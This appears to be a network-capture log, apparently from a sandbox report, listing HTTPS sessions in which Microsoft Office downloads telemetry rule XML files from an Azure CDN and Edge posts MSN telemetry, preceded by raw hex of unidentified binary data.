2024-11-23 04:03:01 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-23 04:03:01 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-23 04:03:01 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:00 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: f18ba134-001e-008d-7b76-3bd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040300Z-15b8b599d882hxlwhC1TEBfa5w000000028000000000e3zm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:01 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e3a34b23-101e-0034-2f4c-3c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040300Z-15b8b599d88z9sc7hC1TEBkr4w00000002fg00000000du27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:01 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:01 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040301Z-174c587ffdfdwxdvhC1TEB1c4n000000027000000000qf8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:01 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:01 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040301Z-178bfbc474b9xljthC1NYCtw9400000003x0000000004ft5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:01 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49936	20.50.80.214	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:02 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732334580520&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11512 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=21DC5826412B689A12D14D66402C691D; _EDGE_S=F=1&SID=0E1A4FCA525B6B4B30B15A8A53886AFC; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 04:03:02 UTC	11512	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 34 3a 30 33 3a 30 30 2e 35 31 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 32 61 39 35 65 34 30 2d 66 30 65 62 2d 34 64 66 66 2d 38 66 30 39 2d 39 65 61 61 30 39 66 63 65 30 33 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 39 38 38 34 32 39 35 36 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T04:03:00.519Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"e2a95e40-f0eb-4dff-8f09-9eaa09fce03a","epoch":"1988429564"},"app":{"locale
2024-11-23 04:03:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7f84a43383a2422f9cf254544e6b77a6&HASH=7f84&LV=202411&V=4&LU=1732334582760; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 04:03:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=959714a4577448e280c34a961b272ee8; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 04:33:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2240 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 04:03:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:02 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040302Z-178bfbc474bw8bwphC1NYC38b400000003r000000000f648 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:03 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:02 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:03 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 4b825c62-901e-008f-3f5c-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040303Z-178bfbc474btvfdfhC1NYCa2en0000000420000000005yrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:03 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:02 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:03 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040303Z-174c587ffdfl22mzhC1TEBk40c00000002f000000000m8ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:03 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:02 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:03 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:03 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040303Z-178bfbc474btrnf9hC1NYCb80g0000000450000000004fbp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
